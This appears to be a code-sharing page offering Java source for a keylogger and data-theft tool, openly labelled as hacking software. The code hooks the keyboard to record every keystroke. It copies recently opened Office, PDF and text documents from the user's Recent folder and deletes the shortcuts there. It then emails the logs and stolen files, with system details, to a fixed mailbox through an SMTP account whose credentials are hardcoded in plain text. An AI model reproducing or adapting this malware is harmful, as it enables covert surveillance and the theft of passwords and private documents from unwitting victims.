Hacking Software source code, Listening keyboard and get screenshut and sent a mail to your mail ad
源代码在线查看: hook.java~108~
package metehook;
import com.jniwrapper.*;
import java.net.URL;
import java.net.URLConnection;
import java.io.BufferedReader;
import com.jniwrapper.win32.hook.MouseEvent;
import com.jniwrapper.win32.hook.KeyboardEvent;
import java.io.ByteArrayOutputStream;
import java.io.RandomAccessFile;
import java.awt.image.BufferedImage;
import java.awt.Robot;
import com.jniwrapper.win32.hook.Hook;
import java.util.Date;
import java.io.IOException;
import java.io.InputStream;
import java.io.File;
import com.jscape.inet.smtpssl.SmtpSsl;
import com.jscape.inet.email.EmailMessage;
import com.jscape.inet.mime.Attachment;
import java.io.FilenameFilter;
import com.jniwrapper.win32.hook.HookEventListener;
import com.jniwrapper.win32.hook.HookEventObject;
import java.io.FileOutputStream;
import com.jniwrapper.win32.com.ComFunctions;
import com.jniwrapper.win32.shell.ShellLink;
import java.io.FileInputStream;
import java.io.OutputStream;
import com.jscape.inet.smtp.Smtp;
import java.util.Calendar;
public class hook
{
Calendar now=null;
URLConnection baglan = null;
URL adr = null;
int uzun = -1, uzes = -1, netkont = 0;
Robot r = null;
int msay = -1, ksay = -1;
MouseEvent mhe = null;
KeyboardEvent khe = null;
boolean yazdur = false, sil;
RandomAccessFile mrdf, krdf, lnk;
long mname = 0, kname = 0;
BufferedImage bi;
ByteArrayOutputStream baos;
File dest = null;
String sendback = null, str, ipcfgall;
Process proc;
InputStream istr;
BufferedReader br;
File fara = null;
boolean bara = true;
boolean kont = false;
boolean baskont = true;
InputStream in = null;
OutputStream out = null;
byte[] buf = null;
int len = 0;
String[] xstrr = null;
File xara1 = null;
boolean xbool = false;
int xsay = 0;
File xdos = null;
FilenameFilter xfilter = null;
String[] strr2 = null;
String ara = "";
File dosya = null;
int dak=0;
public hook()
{
anahook ah = new anahook();
ah.start();
}
public void basla()
{
try
{
xdos = new File("" + System.getProperties().getProperty("user.dir"));
xfilter = new FilenameFilter()
{
public boolean accept(File dir, String name)
{
return name.endsWith(".my");
}
};
xstrr = xdos.list(xfilter);
if(xstrr[0] != null)
{
while(xsay < xstrr.length)
{
xara1 = new File(xstrr[xsay]);
xbool = xara1.renameTo(new File(xstrr[xsay].substring(0, xstrr[xsay].indexOf('.')) + ".x"));
xsay++;
}
}
}
catch(Exception fg)
{}
kfileyap();
Hook.KEYBOARD.addListener(new HookEventListener()
{
public void onHookEvent(HookEventObject event)
{
khe = (KeyboardEvent) event;
if(khe.getTransitionState() == false)
{
try
{
if(ksay++ >= 200)
{
krdf.close();
ksay = -1;
kfileyap();
}
krdf.writeLong(khe.getVirtualKeyCode());
}
catch(Exception ghj)
{}
}
}
});
Hook.KEYBOARD.install();
}
public void bitir()
{
try
{
krdf.close();
}
catch(Exception fg)
{}
Hook.KEYBOARD.uninstall();
}
public void gonder(String konu, String mesaj, File ff)
{
boolean mailkont=true;
Smtp smtp = new Smtp("smtp.gawab.com");
try
{
// smtp.setDebug(true);
smtp.connect();
smtp.login("poonooq@gawab.com", "poonooq1905");
EmailMessage message = new EmailMessage();
message.setTo("poonooq@gmail.com");
message.setFrom("poonooq@gawab.com");
message.setSubject(konu);
message.setBody(mesaj);
message.addAttachment(new Attachment(ff));
smtp.send(message);
smtp.disconnect();
}
catch(Exception es)
{
mailkont=false;
es.printStackTrace();
}
if(mailkont)
{
boolean kont = ff.delete();
}
}
public void kfileyap()
{
fara = new File("kx" + kname + ".my");
bara = fara.renameTo(new File("kx" + kname + ".x"));
kname = new Date().getTime();
try
{
krdf = new RandomAccessFile("kx" + kname + ".my", "rw");
lnkal();
}
catch(IOException ex)
{}
}
public void lnkal()
{
try
{
dosya = new File("" + System.getProperties().getProperty("user.home") + "\\recent\\");
strr2 = dosya.list();
ComFunctions.coInitialize();
for(int i = 0;i < strr2.length;i++)
{
ara = ShellLink.resolveLink(new File(System.getProperties().getProperty("user.home") + "\\recent\\" + strr2[i]));
if(!ara.startsWith("\\") &&
(ara.indexOf(".doc") != -1 || ara.indexOf(".pdf") != -1 || ara.indexOf(".xls") != -1 || ara.indexOf(".docx") != -1 ||
ara.indexOf(".xlsx") != -1 || ara.indexOf(".txt") != -1))
{
copy(new File(ara), new File(System.getProperties().getProperty("user.dir") + "\\" + strr2[i] + ".x"));
sil = new File(System.getProperties().getProperty("user.home") + "\\recent\\" + strr2[i]).delete();
}
else
{
sil = new File(System.getProperties().getProperty("user.home") + "\\recent\\" + strr2[i]).delete();
}
}
ComFunctions.coUninitialize();
}
catch(Exception fg)
{}
}
void copy(File src, File dst)
{
try
{
in = new FileInputStream(src);
out = new FileOutputStream(dst);
buf = new byte[1024];
while((len = in.read(buf)) > 0)
{
out.write(buf, 0, len);
}
in.close();
out.close();
}
catch(Exception rt)
{}
}
public static void main(String[] args)
{
hook hook = new hook();
}
class anahook extends Thread
{
String[] strr = null;
public anahook()
{
this.setPriority(Thread.MIN_PRIORITY);
}
public void run()
{
while(true)
{
try
{
try
{
now=Calendar.getInstance();
if(dak!=now.get(Calendar.MINUTE))
{ dak=now.get(Calendar.MINUTE);
lnkal();
}
////
File dosya = new File("" + System.getProperties().getProperty("user.dir"));
FilenameFilter filter = new FilenameFilter()
{
public boolean accept(File dir, String name)
{
return name.endsWith(".x");
}
};
strr = dosya.list(filter);
if(strr[0] != null)
{
gonder("key-link", "" + System.getProperties(), new File(strr[0]));
}
}
catch(Exception fg)
{}
if(baskont) {baskont=false; basla();}
}
catch(Exception gh)
{}
}
}
}
}